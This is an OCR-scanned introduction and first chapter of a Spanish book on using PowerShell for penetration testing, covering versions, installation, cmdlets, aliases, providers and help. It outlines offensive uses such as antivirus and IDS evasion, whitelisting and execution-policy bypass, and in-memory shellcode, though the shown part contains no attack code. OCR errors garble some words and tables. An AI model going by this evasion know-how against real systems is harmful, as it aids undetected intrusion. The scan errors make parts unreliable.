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Introduccion

Introduccion

Powershell ha aumentado exponencialmente su uso en los test de intrusion del sector profesional
de la Seguridad de la Informacién. El motivo por el que Powershell es mas utilizado en los test de
intrusion es debido a todo el potencial que la linea de comandos ofrece, sobre todo. en la etapa de
posi-explotacion.

Diversas charlas de muchos investigadores alrededor del mundo explican las ventajas que la linea de
comandos de Microsof aporta. En muchas ocasiones, un auditor puede encontrarse con mecanismos
que eviten que se pueda lanzar herramientas de auditoria sobre ciertos equipos de una red. La
posibilidad de ejecutar ciertas herramientas o seripts directamente en memoria, hacen de Powershel!
una punto a favor en la auditoria. Ademas, muchos administradores de sistemas y redes pueden
evitar la ejecucion de una emd, pero por desconocimiento no se prohibe la ejecucion de Powershell.
aunque claramente ésta aporta mucho mds potencial que la cmd clasica de Microsofi.

Powershell puede utilizarse también en las fases de gathering y explotacidn, sin estar limitado a
la fase de post-explotacion, dénde se saca su mejor provecho. Desde hace unos afios hay muchos
investigadores que han ido creando diferentes firameworks de Powershell aportando diferentes
[unciones y herramientas que ayudan a contemplar estas 3 etapas de un penrest. Durante el desarrollo
del libro se ha enfocado siempre a Powershell como herramienta de auditoria en las 3 fases indicadas
anteriormente.

En el primer capitulo se propone una introduccion y un uso basico de Powershell para aquellos
auditores y pentesters que no hayan trabajado anteriormente con ella. Microsafi propuso una sintaxis
y un modelo de alias similar al de los sistemas UNLX, por lo que el paso de una consola a otra es
rapido. Hay que indicar que Powershell es una consola de objetos y no de sirings, como es el caso
de Bash.

En el segundo capitulo se trata el tema del desarrollo de scripis explicando las estructuras basicas y
avanzadas que pueden ser utilizadas para que el lector pueda desarrollar sus propios seripts y exploits.
Ademas, el lector ird guiado con diferentes ejemplos que ayudan y simplifican el aprendizaje de toda
la informacion.

En el tercer capitulo, el cual ocupa gran parte del libro, se detallan las herramientas que existen en
la actualidad con Powershell para llevar a cabo auditorias. Se detallan los diferentes frameworks
cjemplificando mediante pruebas de concepto como el auditor puede aprovechar el maximo de
¢stos. El niimero de herramientas es alto y se pueden ver diferentes funciones fundamentales en
una auditoria. todas ellas ejecutadas desde Powershell. Ejecutar un mimikaiz creado en Powershell,
disponer de una navaja suiza con Powercat, ejecutar una shellcode en memoria, bypassear
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mecanismos de seguridad como antivirus, crear ficheros maliciosos para ataques client-side, reflejar
una Powershell interactiva en remoto para su control, realizar escaneos de puertos de redes sin
necesidad de disponer de nmap, etcétera.

En el cuarto capitulo se presentan diferentes herramientas que hacen uso de Powershell para mejorar
el pentest. Se detallard como Metasploit dispone de un payload interactivo que ofrece la linea de
comandos, como existe un conjunto de seripts que interaccionan con Metasploit, como con SET,
Social Engineering Toolkit, se proporciona codigo de Powershell que puede otorgar el control
remoto de una maquina con acceso fisico, o como existen herramientas en Python que ayudan a
tomar el control de maquinas a través de Powershell.

En definitiva, el libro presenta al pentester que la fase de post-explotacién tiene una nueva vision
gracias a la consola de Microsoft, la cual tiene acceso a todo el sistema operativo de manera sencilla
y a los productos de la empresa de Redmond. Ademds, no hay que olvidar que la fase de gathering
y explotacion también esta contemplada hoy en dia con Powershell.

Capitulo I. Conceptos bdsicos de PowerShell

- Capitulo I
Conceptos basicos de PowerShell

1.;Qué es y qué engloba a PowerShell?

Hace unos afios Microsoft apostd por un cambio en lo que a lineas de comando se refiere. Con
este cambio llegd PowerShell, 1a cual es la linea de comandos basada en .NET Framework, muy
flexible y con gran potencia. Gracias a esta linea de comandos el usuario puede administrar los
sistemas, tanto locales como remotos, y puede automatizar las tareas mediante el desarrollo de
seripts, gestionando los diferentes productos de la empresa de Redmond.

B @ P 6 y : - = | Sl

4 Windows PowerShell

Windows PowerShell
Copyright (C> 2009 Microsoft Corporation. Reservados todos los derechos.

PS C:\Users\bit> _

m 3

Fig. 1.01: Liniea de comandos de PowerShell.

PowerShell amplia de largo las capacidades de interaccion de la cmd clasica de Windows y dispone
de caracteristicas o mddulos que aportan nuevas funcionalidades cuando son cargados. Hay que
entender que esta poderosa linea de comandos no es solo una evolucion de una emd, come algunos
usuarios o administradores pueden llegar a pensar, es una de las herramientas mas poderosas para la
gestion de maquinas y dominios Microsofi. Esto hace pensar que llevada al ambito de una auditoria
de seguridad o pentest se pueda pensar que los limites no existen con esta herramienta.

Lariqueza que ofrece PowerShell reside en el tratamiento de objetos y no de cadenas de texto, como
ocurre por ejemplo en Bash. Este aspecto es innovador, ya que gencralmente este tipo de lineas de
comandos hacen tratamiento de cadenas de texto. El manejo de objetos de PowerShell proviene de la
herencia que proporciona NET Framework. Este firamework es muy conocido por los desarrolladores
de aplicaciones pero no es muy trabajado por los administradores u otros profesionales TI.
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2.Instalacion de una PowerShell

PowerShell puede ser instalada mediante ejecutable descargado desde el sitio web oficial de
Microsofi. Hay que tener en cuenta que desde la version de Windows 7 o Windows Server 2008 R2
viene por defecto instalada. Por supuesto en versiones posteriores, como Windows 8, Windows 8.1 o
Windows Server 2012 también.

Los requisitos

El requisito de PowerShell es .NET Framework. Esta linea de comandos estd basada en NET
Framework por lo que la instalacion depende totalmente de tener este framework instalado en la
maquina.

La version minima requerida de .NET Framework es la 2.0, pero se puede disponer ademas de
versiones superiores. En los sistemas operativos Windows 7y Windows Server 2008 R2 el framework
viene integrado en su version 2.0, 3.0 y 3.5, al igual que viene integrado la version 2.0 de PowerShell.
La version 1.0 de PowerShell no es compatible con Windows 7'y Windows 2008 R2.

Windows Vista y Windows Server 2008 R2 integran tanto NET Framework 2.0 como el 3.0, siendo
opcional su instalacion la version 3.5. Para instalar PowerShell 1.0 sobre Windows Vista se necesita
descargar su ejecutable e instalarlo. El nombre de los ejecutables son Windows6.0- KB928439- x86.
msu 'y Windows6.0- KB928439- x64.msu, en funcién de si es para 32 o 64 bit. Para la instalacién de
la version 1.0 sobre Windows Server 2008 no se necesita descargar ya que viene integrado pero no
activado, se debe activar como componente adicional.

Para instalar PowerShell 2.0 sobre Vista y 2008 se necesita descargar adicionalmente el ejecutable
desde la pagina web de Microsoft. Hay que recalcar que en Vista se necesita SP1. El nombre de los
gjecutables son Windows6.0- KB968930- x86.msu 'y Windows6.0- KB968930- x64.msu.

En Windows Server 2003/R2 se necesita instalar manualmente .NET Framework 2.0 y opcionalmente
la versién 3.0 y 3.5. Para instalar PowerShell 1.0 sobre Windows Server 2003 se necesita descargar
el ejecutable WindowsServer2003- KB926140-v5-x86- ES.exe desde la pagina web de Microsoft.
Ademas se requiere que esta version del servidor disponga del service pack SP1 como minimo.
Por otro lado en Windows Server 2003 R2 sélo hay que obtener el ejecutable WindowsServer2003.
WindowsXP- KB926139-v2 -x64-ENU.exe y realizar su instalacién.

Para instalar PowerShell 2.0 sobre Windows Server 2003 se requiere que el SP2 se encuentre instalado
sobre el sistema operativo y la descarga del ejecutable WindowsServer2003- KB968930-x86- ES. exe
0 WindowsServer2003- KB968930-x64- ES.eve. Los mismos requisitos son los necesarios para
Windows Server 2003 R2.

En Windows XP se requiere la instalacion de .NET Framework 2.0 y opcionalmente las versiones
superiores 3.0 y 3.5. Para la instalacién de PowerShell 1.0 se requiere la descarga del ejecutable
WindowsXP- KB926140- v5-x86- ES.exe y disponer del SP2 instalado como minimo. Para la

Capitilo 1. Conceptos basicos de PowerShell n

instalacion de PowerShell 2.0 se requiere la descarga del gjecutable WindowsXP- KB968930- x86-
ES.exe y el service pack SP3 de Wff’tdﬂWﬁ XP.

Las siguientes URL son para las descargas de PowerShell desde ¢l sitio web de Microsoft:

- PowerShell 1.0 en Windows Vista, htip://support.microsoft.com/kb/928439/es.

- PowerShell 2.0 en Windows Vista y Windows Server 2008, hittp:/support. microsoft.com/
kb/968929/es.

- PowerShell 1.0 en Windows XP y Windows Server 2003, hitp:/{support.microsoft.com/
kb/926140/es.

- PowerShell 2.0 en Windows XP y Windows Server 2003, http./{support.microsoft.com/
kb/968929/es.

Cuando se descarga desde el sitio web de Microsoft alguna versidn de PowerShell se debe elegir
entre un paquete de instalacion localizado o en inglés. Un paquete de instalacion localizado es una
instalacion de PowerShell para sistemas operativos Windows en aleman, espafiol. francés, italiano,
japonés, coreano, portugués, ruso, chino simplificado o tradicional.

Por otro lado un paquete de instalacién en inglés se utiliza para los sistemas operativos Windows en
inglés o una version en un idioma que no se encuentre en el paquete de instalacion localizado.

Hay que recalcar que los paquetes de idioma MUIL, (Multilingual User Inferface), son necesarios si
se esta ejecutando una version multilingiie de la interfaz de usuario de Windows. Para estos paquetes
de idioma, se debe instalar en primer lugar la versién de PowerShell y a continuacion el paquete
MUL

" Descargar

Nombre del archivo: Tamaiio:

WindowsServer2003-KB926140-v5-x86-E5N.exe 1,7 MB

Detalles rapidos

Version: 926140 :
Fecha de publicacion: 23/08/2008 N
Cambiar idioma: | Espafiol Ej | Cambiar |
v 4min o A

Tiempo de descarga estimado: Chino {simplificada)

Chino (tradicional) navegador. Mejora tu

. experienda web.
Articulos de soporte | Careano . KE9I6110 Descargatela agui

Frances
Inglés
talianc
Japonés

e Partugués (Brasil)
Informacién general Quso

Fig. 1.02: Eleccion de idioma en la descarga de PowerShell.
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3.:;Coémo puede ayudar en un pentest?

Un pentester tiene miles de situaciones, condiciones y ambientes diferentes. Por esta razén, cuando
uno se enfrenta a un entorno en el que no se puede disponer de ciertas herramientas para la realizacion
del pentest se debe utilizar el potencial de la imaginacién para conseguir los objetivos propuestas
con anterioridad.

El congreso Quriuba Security Congress de la ciudad de Cdrdoba tuve la posibilidad de presentar
una charla en la que se mostraba como gracias a herramientas nativas de los sistemas operativos
Microsoft de Ultima generacion se puede ejecutar cualquier tipo de cédigo, a través de la linea de
comandos PowerShell. De este modo, no se echard en falta la no posibilidad de ejecutar herramientas
clasicas como mmap, cain & abel, foca, etcétera. El nombre de la charla que presenté se denominé
“Give me a PowerShell and I will move your world”.

Hay que analizar algunas charlas que se han llevado a cabo, sobretodo en cldsicas como Skmoocon o
Black Hat, para entender toda la potencia que PowerShell ofrece en un pentest. Ademas, conociendo
algunos métodos para llevar a cabo un hypass de las politicas de ejecucion de codigo de PowerShell y
Jjugando con los frameworks que han ido apareciendo, como PowerSploit, Nishang o Posh-SeeMod,
se puede montar un pequefio bor (til para entornos dificiles, entornos con alta monitorizacién de
elementos de seguridad o entornos a los cuales el bor pudiera acceder, pero no asi el pentester. Esto
es una de las cosas que se presentaba en el trabajo indicado anteriormente en Qurtuba Security
Congress.

(Para qué es muy potente PowerShell en un pentest? A continuacién, se enumeran las diferentes
acciones que pueden llevarse a cabo nativamente desde la linea de comandos de Microsaofi:

- Ejecucidn de cadigo.

- No generacion de demasiado trafico o éste pasa desapercibido.

- Posibilidad de utilizacion de proxies.

- Evasion de elementos de seguridad, como puede ser el antivirus, un 1DS, [ntrusion
Detection System, o un [PS, Intrusion Prevention System.

- Modificacién de scripts o binarios.

- Etapa de descubrimiento y recopilacion de informacién del entorno.

- Encapsulacién de tréfico.

- Conectividad y pivoring.

- Escaneo de puertos y fingerprinting.

- Evitar las whitelisting de aplicaciones. En ciertos entornos se puede tener econfigurado una
lista blanca de aplicaciones que pueden ser ejecutadas. Los scripis se lanzaran a través de
PowerShell, pudiendo evitar esta lista blanca.

En resumen, el pentester puede encontrarse en condiciones y un entorno dificil, en el cual no dispone
de herramientas. La unica, y mds que suficiente, herramienta que dispone de forma nativa en los
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equipos a los que tiene acceso es PowerShell. Con esta herramienta se podrian hacer muchas cosas, e
interactuar con gran cantidad de productos de Microsoft, por lo que el peniest puede llevarse a cabo.
Ademas, gracias a los frameworks énunciados anteriormente, existe gran cantidad de herramientas
con codigo PowerShell que facilitan estas tareas.

4. Versiones

Hasta la versién de Windows 8.1 existen 4 versiones liberadas de PowerShell. Se espera que con
Windows 10 se libere 1a version 5 de PowerShell. Para conocer la version de PowerShell que gjecuta
una maquina se puede utilizar el comando Get-Host, el cual proporciona diferente informacién sobre
el entorno.

En muchos libros o articulos en Internet se puede leer como definen a PowerShell como la nueva
linea de comandos de Microsoft. Este es un dato errdneo ya que el proyecto comenzoé en el afio 2003
bajo el nombre de MONAD. En 2006 fue lanzada al piblico con el nombre oficial de PowerShell 1.0.

PowerShell 1.0

Lanzada en Abril de 2006 para aumentar las capacidades y las limitaciones del CMD clasico a la vez
que cubria ambitos a los que la consola clasica de Microsoft no se acercaba.

Una de las caracteristicas mas interesantes que presentd PowerShell fue la manipulacion de objetos
respecto a otras shell, las cuales manipulan cadenas de texto. Esto implica la posibilidad de disponer
de propiedades dentro de los objetos otorgando mayor riqueza semantica al lenguaje de seripfing y
a la interaccion con la maquina.

PowerShell present6d 129 utilidades estandar, también conocidos como cmdlets de los cuales se
hablard mas adelante. Con los cmdlets se puede realizar distintas tareas administrativas como
gestionar el registro, el sistema de archivos, monitorizar procesos, etcétera.

PowerShell 2.0

Lanzada en Julio de 2009 proporciond bastantes cambios y mejoras a la version 1.0. Algunas de las
nuevas caracteristicas son las siguientes:

- Interaccién remota con uno o varios equipos.
- Entorno grafico denominado PowerShell ISE. Integrated Scripting Environment.
- Mddulos para mejorar el desarrollo del codigo, creando unidades independientes.

- Nuevos emdlets. La version 2.0 introduce mas de 100 emdlets integrados nuevos respecto
a la version 1.0.

- Ejecucion en segundo plano de un trabajo.
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PowerShell 3.0

Las caracteristicas que marcan esta version son las siguientes:
- Flujos de trabajo.
- PowerShell Web Access.
- Nuevas caracteristicas en el entorno de desarrollo PowerShell ISE.
- Integracion de CIM.
- Nuevas caracteristicas de Windows PowerShell,
- Carga automatica de médulos.
- Compatibilidad con RunAs y host compartido.
- Nuevas API de cmdlets.

PowerShell 4.0
Las caracteristicas que marcan esta version son las siguientes:
- Nuevas caracteristicas de Windows PowerShell,
- Nuevas caracteristicas del entorno de desarrollo y mejoras en PowerShell ISE.
- Mejoras en los flujos de trabajo introducidos en la version anterior.
- Nuevas caracteristicas de servicios web en PowerShell.
- Mejoras en PowerShell Web Access.

- Correccion de errores en versiones anteriores,

S.Lo mas basico: Comenzando

En este apartado se explican los conceptos mas importantes, los cuales se utilizaran y leeran durante
el contenido del libro. Estos conceptos y definiciones son los pilares bdsicos sobre los que PowerShell
s¢ asienta para otorgar al pentester todas las posibilidades.

Cmdlet

Un cimdlet es una instancia de una clase de .NET Framework, aunque en este libro se les llame
comandos en algunas ocasiones. Un emdlet procesa objetos de entrada desde una canalizacién de
objeto en vez de desde una secuencia de texto. Este no analiza sus propios argumentos ni especifica
una presentacion de errores. Esto simplifica el proceso de creacidn de un emdler.

Estos comandos estédn orientados a realizar una tarea concreta manipulando para ello objetos de
PowerShell. El disefio de PowerShell hace que sea sencillo reconocer un cmdlet ya que éstos tienen
un formato orientado al lenguaje natural.

Los nombres de los emdlet constan de 2 partes, <verbo>-<nombre>. La parte del verbo indica la
accion que se va a realizar con la ejecucion del emdler y 1a parte del nombre indica el recurso sobre el
que el cmdlet realizara la accién. Todos los emdlet disponen de este sencillo formato mnemotécnico.
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La ejecucion de un ¢mdler no es case sensitive, por lo que cs independiente de si se escribe en
mayutsculas o mintsculas. No es necesario aprender todos los cmdlet que PowerShell contiene ya
que se dispone de herramientas para obtener los distintos cmedlet.

Alias

Los alias son mecanismos que facilitan la interaccion con la linea de comandos. Los alias
proparcionan un método para recordar un cmedlet o expresiones cgn otro non}bre. cgn el cua! el
usuario se siente mas identificado. Esta linea de comandos proporciona por defecto diversos alias,
los cuales el usuario puede visualizar a través del cmdlet Get-Alias.

PS C:\Usersibit> Get—-Alias

Definition

ForEach—-0Object
Where—0bject
Add-Content
Add-PSSnapln
Get—Content
Set—Location
Set—Location
Clear—Content
Clear—Host
Clear-History
Clear-Iten
Clear—ItemnProperty
GClear-Host
Clear-Uariahle
Compare—0Object
Copy—Item
Copy—ltem
Copy=Item
Copy-—IltemProperty
Convert—Path
Disable—PS8Breakpoint
Remove-Item
Compare—0Ohject
Get—-Childltem
Enable—PSBreakpoint
Hrite—Qutput
Export-Alias

Fig. 1.03: Ejecucion del cinldet get-alias y obtencion de los alias disponibles.

Al gjecutar un alias en PowerShell se ejecuta un emdlet o funcion que se encuentra asociado al alias
invocado. Ademas. se puede ejecutar el cmdlet Get-Alias en la linea de comandos para conocer que

emdlet estan asociados a los alias.

Muchos usuarios o pentesters estan acostumbrados a utilizar shells en entornos como G:‘\*’U/J.Limf.\'.
En PowerShell. para lograr una transicion o un acomodamiento a la sintaxis, existen facilidades
mnemotécnicas come de accesibilidad. De esta forma el usuario tendra un trabajo mas facil en el uso
de esta linea de comandos. El mundo *NLX ha sido ojeado por la parte de Microsoft para configurar
alias por defecto cercanos a los comandos que se puede encontrar en el mundo *NLY. Con esta
accion se ha conseguido que el paso del mundo UNIX a PowerShell sea mas sencillo.




Pentesting con PowerShell

Comandos *NIX y CMD en PowerShell

Los usuarios y pentesters que utilizan sistemas UNIX que lleguen a PowerShell pueden utilizar los
alias como estrategia para hacer una transicion mis sencilla.

A continuacién se muestran diferentes alias utilizados en PowerShell y los emdlets asociados a
dichos alias.

Alias *NIX Cmdlet
Is get-childitem
cd set-location

cat get-content
mv move-item
history get-history
alias get-alias

Tabla 1.01: Ejemplo de alias UNIX v su emdler equivalente.

Desde PowerShell se puede lanzar una cmd y los comandos de ésta también, ya que al final son
ejecutables o ficheros exe que eran invocados,

Provider

El provider o proveedor es una aplicacién basada en NET Framework la cual facilita el tratamiento
de los datos. Los datos serdn mostrados en un almacén para que puedan ser gestionados de manera
sencilla. El usuario puede navegar por el almacén como si se tratase del sistema de ficheros, esta
aplicacion consigue que la gestion del registro, entre otros, sea muy sencilla en PowerShell.

En PowerShell se disponen de distintos tipos de proveedores. En la siguiente tabla se pueden
visualizar de proveedores que se pueden encontrar en PowerShell, y que pueden ser Gitiles. Hay que
recordar que en la parte de desarrollo de scripts, se puede necesitar de estos providers para realizar
acciones lo més sencillo posible. Ademas, los frameworks que se estudiardn més adelante y que
ayudan a la realizacion de un pentesting con PowerShell utilizan, entre otras muchas cosas, este tipo
de aplicaciones.

Proveedor Descripcion Comando
: Acceso a los alias que en el entorno de . :
Alias sei-location alias:
PowerShell y sus valores
; Acceso a certificados y almacenes de
Certificados : set- jon cert:
certificados X509. Sélo lectura ctian eent

R

Comando
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Proveedor Descripeion

Acceso a las variables de entorno de

: set-location env:
Windows

Entorno

El proveedor bésico. Acceso a archivos y

§ : set-location <unidad>
directorios

Sistema de archivos

Acceso a las claves y valores del registro set-location

Regisito de Windows {HKCU HKLM]:
WSMan PSS i nﬁ?;?;;;;aie Lo set-location wsman:

Acceso a las variables del entorno de

set-location variable:
PowerShell y sus valores

Variables

Acceso a las funciones definidas en el

set-location function:
entorno de PowerShell f

Funciones

Tabla 1.02: Definiciones de los proveedores por defécto.

PS C:\Users\bit> Set-Location hkcu:
PS HKCU:=\> Get-ChildItem

Hive: HKEY_CURRENT_USER

Property

AppEvents O
Cgrl-:s:'i: {ColorTable@d. ColorTahle@l. ColorTable@2. ColorTableB3...
Control Panel &>

Environment {TEMP, THP. MOZ_PLUGIN_PATH>

EUDC 3

Identities {Identity Ordinal, Migrated?. Last Username. Last User ID...2
Heyboard Layout >

Network

Printers

Softuare

System

Uplatile Environment

B
HEOADWMADNEN

@
CEOEENEWENE

£
{LOGONSERVER, USERDOMAIN. USERNAME. USERPROFILE...>

o3
2]
=

IND
Fig. 1.04; Ejecucion de un proveedor que permite gestionar el registro en la ruta HKCU.

Il comando Set-Location permite moverse entre directorios, si por ejemplo la linea de comandos
se encuentra en ¢l proveedor del sistema de archivos. También permite cambiar entre proveedores a
alguno de los que se encuentran en la tabla anterior.

Ademds, un usuario puede utilizar los diferentes alias para este comando, como son c/dir o cd.

Name Definition

cd { Set—Location
chdip Set—Location
sl - Set—Location

Fig. 1.05: Obtenciin de los alias de ser-location.
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Parametros

Los parametros son modificadores que se afiaden a un cmdlet para cambiar el modo de gjecucidn de
dicho comando. En otras palabras, un emdlet puede realizar distintas subtareas dentro de su tarea
principal y los pardmetros activan dichas subtareas. Los pardametros son anadidos después de la
llamada al cmdlet y precedidos de un guion, <cmdlet> -pardametro I -pardmetro 2 .., -pardmetro
N. Resulta muy interesante entender que los parametros de PowerShell son, casi en su totalidad,
nombres coherentes.

PS C:\Users\bhit> Get—Alias —Name uwx

Name Definition

where WYhere—0Ohbject
ujh Hait—Joh
urite Write—Output

Fig. 1.06: Ejecucion de get-alias con el parametro name para el filtrado de la salida.

Los pardmetros pueden ser clasificados por la funcién que desempefian. A continuacidn se muestra
la clasificacion:

- Parametro de ayuda. Este tipo estd presente en todos los emdlets. Para invocarlo se debe
indicar -?. Cuando se realiza esta accién el cmdlet no se gjecuta, pero PowerShell muestra el
contenido de la ayuda asociado al comando.

- Parametros dindmicos. Estos pardmetros se afiadirdn a los emdlets, a los propios scripts,
proveedores o funciones, siempre y cuando se cumplan ciertas condiciones.

- Parametros comunes. Son pardmetros que se compartan siempre de la misma manera,
siempre y cuando el cmdler los implemente. Los parametros comunes son Whatlf. Confirm,
Verbose, Debug, Warn, ErrorAction, ErrorVariable, OutVariable y OutBuffer.

- Pardmetros conmutados o switch parameter. Estos parametros funcionan como
interruptores, es decir, pueden ir activados en la ejecucién del emdlet o funcién o no aparecer.
Ademas, este tipo de pardmetros pueden recoger un argumento o no. Estos parametros son

muy utilizados en funciones para poder ejecutar diferentes comportamientos, a través de
valores hooleanos.

- Conjuntos de pardmetros. Este grupo de parametros son utilizados en un mismo emdlet
para llevar a cabo una accidn concreta,

Archivos

Los archivos son algo fundamental para cualquier sistema, ya que es la manera mas sencilla de
almacenar los datos de forma persistente. Los distintos formatos en los que la informacién puede
ser presentada también es importante y esta linea de comandos los valora. En PowerShel] se puede
observar distintos tipos de archivos. Entre los més importantes o interesantes se encuentran:

- Archivo de datos. Este archivo dispone de extensién psdl y se realiza para diversos
propositos, almacenar el manifiesto de un modulo o almacenar los strings para la
internacionalizacién del script.
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- Archivo de mddulo. Este archivo tiene extension .psml y contiene un scripr. Este script
define los miembros que se exportan de €L

- Archivo de formato. El archivo utiliza una extension del tipo ,format. ps Ixml y proporciona
una definicién de cdmo PowerShell debe mostrar un objeto.

- Archivo de script. Este es el mas basico de todos, ya que contiene .lz.is lineas que
implementan las funcionalidades que se quieren automatizar. ‘La extens?i(’)n ullhéa(.ia por este
tipo de archivos es .ps]. En otras palabras, este tipo de archivos contiene el codigo que se
ejecutara en PowerShell.

- Archivo de tipo. Este archivo dispone la extension .pslxml y se encarga de heredar las
propiedades de los tipos de NET Framework.

Es importante tener en cuenta que siendo la primera vez que se ejecute PowerShell el usuario se
encontrara con la negacién de la linea de comandos al ¢jecutar un seript. Esto es debldq a que
la politica de seguridad definida por defecto en PowerShell es la de restricied, lo cual evitara la
ejecucion de cualquier seripf.

Pipe y pipeline |
Un pipe tiene una definicion clésica, y no es mas que una tuberia que conecta la salida de un proceso
con la entrada de otro. Dicho de otro modo, el resultado del procesamiento de un cindlet puede salir,
a través del pipe, y ser la entrada de otro cmadlet. Un ejemplo sencillo seria el siguiente <emdler 1>
| <cmdlet 2>,

El pipeline es el conjunto de emdlet que envian sus resultados a otro cmdlet. En otras pal'abras,‘se
conecta la salida por pantalla que devuelve el cmellet 1 a la entrada del emdlet 2, éste ejecuta ¥ los
resultados los envia al emdler 3. Este proceso se repite en funcion del nimero de concatenaciones

que el usuario requiera.

PS C:\Users\bit? Get—Process ! sort —Descending id { Select—-Object —First 4

NEMCH> WS <CH> UMCHM> ProcessName

chrone
Egggi ! OSPPSUC

41320 chrome
60348 3 suchost

Fig. 1.07: Ejecucién en un pipeline.

Modulos

Los modulos en PowerShell son paquetes que permiten extender y disponer de escalak.)ilidad en el
lenguaje de seripting y la propia interaceion con la shell. Los médulos agrupan otros .sc-rfpzs: c.ma';’em_‘
o funciones pcrmitiéndo compartir otras funcionalidades sin tener que rescribirlas en el codigo del
script.

Sobre todo en las versiones servidor de Windows la linea de comandos proporciona diferentes
madulos al usuario. Estos médulos proporcionan funcionalidad extra e interesante para llevara c?.bo
la gestion de sistemas y productos Microsoft. También pueden ser 1tiles en escenarios de pentesting.
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Los modulos, en general, son muy ttiles para compartir y beneficiar a otros usuarios. Existen
cientos de funcionalidades que pueden ser compartidas gracias a la importacién de médulos en
PowerShell. Simplemente, hay que recordar los frameworks de pentesting disponibles en la red, y
que proporcionan cientos de funcionalidades que pueden ser utilizadas.

Para visualizar los médulos disponibles se ejecutaria el cmdlet get-module con el parametro
ListAvailable, de la siguiente manera get-module -Listdvailable.

6.La ayuda en PowerShell al detalle

La ayuda en la linea de comandos es fundamental. Hoy dia se dispone de Internet y todos los
recursos que éste ofrece, como la parte Techner de Microsoft, pero en muchas ocasiones, lo mds
rapido es utilizar la ayuda que viene con la propia linea de comandos. PowerShell proporciona una
ayuda clasificada por extension de informacidn, es decir, se podra obtener informacion con mayor o
menor detalle, e incluso con ejemplos.

Existe un emdlet que ejecuta la tarea de la ayuda denominado ger-help. Existe la funcién help que
es muy util como se vera posteriormente. Existen también alias como man, nomenclatura cercana a
los entornos *NIX. Y también se dispone del parametro, comiin a todos los cmdlet, -7 con el que el
usuario puede revisar la ayuda del cmdler en cuestion.

Hay que recalcar que la ayuda viene en el idioma de la versién instalada, esto ayudara a muchos
usuarios a poder entender mejor el funcionamiento de PowerShell.

Existen 3 niveles de profundidad en la ayuda de PowerShell:

- Ayuda por defecto o estandar. Cuando se ejecuta el emdlet get-help, alguno de sus alias o
el parametro de ayuda, éste es el tipo de ayuda que se ofrece para la visualizacién por parte
del usuario. No incluird ejemplos en la ayuda.

- Ayuda en detalle o detallada. La informacién que se ofrece es considerablemente
mayor que en la ayuda estandar. Se ofrece gran cantidad de ejemplos de uso sobre la ayuda
requerida. Esta ayuda se obtiene ejecutando el parametro detailed en la peticion de la ayuda,
por ejemplo, get-help <comando=> -detailed.

- Ayuda completa. La informacién que se ofrece es, también, mayor que en la ayuda
estandar. Ademids ofrece informacion téenica sobre la ayuda requerida. Para obtener esta
ayuda se debe ejecutar get-help <comando> -full.

Otra opcion para mostrar ejemplos directamente es utilizar el pardmetro examples, a través de la
siguiente instruccion Gei-Help <comando> -examples. Ademas, la ayuda en PowerShell proporciona
mas informacion que la que se ofrece de los cmdler. Una opcién es ejecutar el alias help * y se
obtendrd una lista con todos los nombres, categorias y sinopsis. En el capitulo de scripting puede
ser (til la ayuda de las estructuras condiciones o de bucles. Para invocarlas se puede ejecutar la
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instruccion kelp if. Cuando se obtiene una pagina de ayuda, ésta se divide en apartados correclamente
formateados para que su visualizacion y entendimiento no supongan un problema.

;Help o get-help?

Help permite visualizar de manera sencilla las paginas de ayuda de la lil_lea de. comandos.j ya que
la salida de la funcién help proporciona las paginas formateadas. Proporciona d1f§rent§s mveles.c’ie
profundidad,, como puede ser en detalle o completa. El cmdlet Get-Help saca tc-)da la informacion
por la salida estndar de 1a linea de comandos, es decir por pantalla, sin ningtin tipo de formato. De
esta manera se puede entender que help y Get-Help pueden parecer igualejs’, pero no lo son. -P'ara
equiparar a Get-Help con la funcion help se podria utilizar un pipe y la funcién more de la siguiente
manera Get-Help <cmdlet> -detailed | more.

Categorias
Cuando se ejecuta la sentencia Ger-Help * se obtiene una columna que es categoria. Esta columna
indica qué es realmente sobre lo que se solicita la ayuda. Se puede observar que no solo existe ayuda

para los cmidlet.
Las distintas categorias de la ayuda en PowerShell son las siguientes:

- Cmdlet.

- Proveedores.

- Funciones.

- Alias.

- Archivo de ayuda.

Los archivos de ayuda son muy interesantes ya que ofrecen informacion detallada, por ejemplo.
sobre los componentes sintécticos del lenguaje de scripting de PowerShell. Vienen definidos con
una gran cantidad de gjemplos.

Atajos de teclado

Siempre han sido ttiles en el dia a dia los atajos de teclado, y mds en un mundo en el que el tiempo
cada vez es mas necesario. Por este tipo de razones se hace hincapié en como pueden hacerse uso de
¢stos en la linea de comandos PowerShell. Al principio, estos atajos pueden ser dificiles de recordar,
pero su uso en el dia a dia facilitard la rapida interaccion con la linea de comandos.

Hay diferentes tipos de atajos de teclado, todos ellos realmente interesante. El primero de ellos que
se presenta es el uso del tabulador, al igual que se hace en Bash. A partir de ahora al tabulador se
le denominara tab. Con la tecla fab el usuario puede autocompletar o ver las coincidencias con lo
que estd buscando. El funcionamiento de /@b mediante un ejemplo es sencillo, se escribe get y al




pulsar sobre fab se ira visualizando las distintas posibilidades de coincidencia con los cimdler. Tub es
aplicable a pardmetros y otros elementos del entorno de PowerShell. Otro de los atajos interesantes
y ttiles es' CTRL + Flecha derecha / izquierda. Esta combinacién permite al usuario recorrer una
sentencia palabra a palabra. Ademas, el curso es colocado al principio de cada una de las palabras.
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Las teclas F7, F8 y F9 proporcionan acceso rapido al histérico de instrucciones ejecutadas. La tecla
F7 proporciona al usuario un listado, mediante la visualizacién de un cuadro de dialogo en consola,
de las tltimas instrucciones ejecutadas en el entorno actual. La tecla F§ introduce en la misma linea
de comandos las Ultimas instrucciones, para que directamente el usuario pueda ejecutarlas. La tecla
F9 pregunta, mediante un cuadro de didlogo en el entorno. por el nimero asociado a la instruccién
que se puede visualizar con F7.

Mas atajos interesantes con CTRL + C, con el cual la ejecucion de un proceso es finalizada. Ademas,
la tecla INICIO y FIN del teclado, sitilan el curser al principio o al final de la linea de comandos.
Esto es interesante, sobre todo si la instruccitn es larga y se requiere cambiar algo. Por tltimo, la
flecha arriba y abajo permite realizar un desplazamiento por el histérico de instrucciones que han
sido gjecutadas con anterioridad por el usuario.

7.Seguridad en PowerShell

Hoy en dia la seguridad ha comenzado a ser importante en un entorno empresarial, e incluso para
muchos usuarios su privacidad y confidencialidad es una cuestién importante en sus vidas. Por estas
razones, la seguridad informética intenta evitar que los datos e informacién més sensible queden
en mano de los usuarios maliciosos. Se utilizan politicas para evitar que ciertos grupos de usuarios
realicen ciertas acciones, se cifran contenidos o archivos, se segmentan los accesos a los equipos, se
registran esos accesos, etcétera.

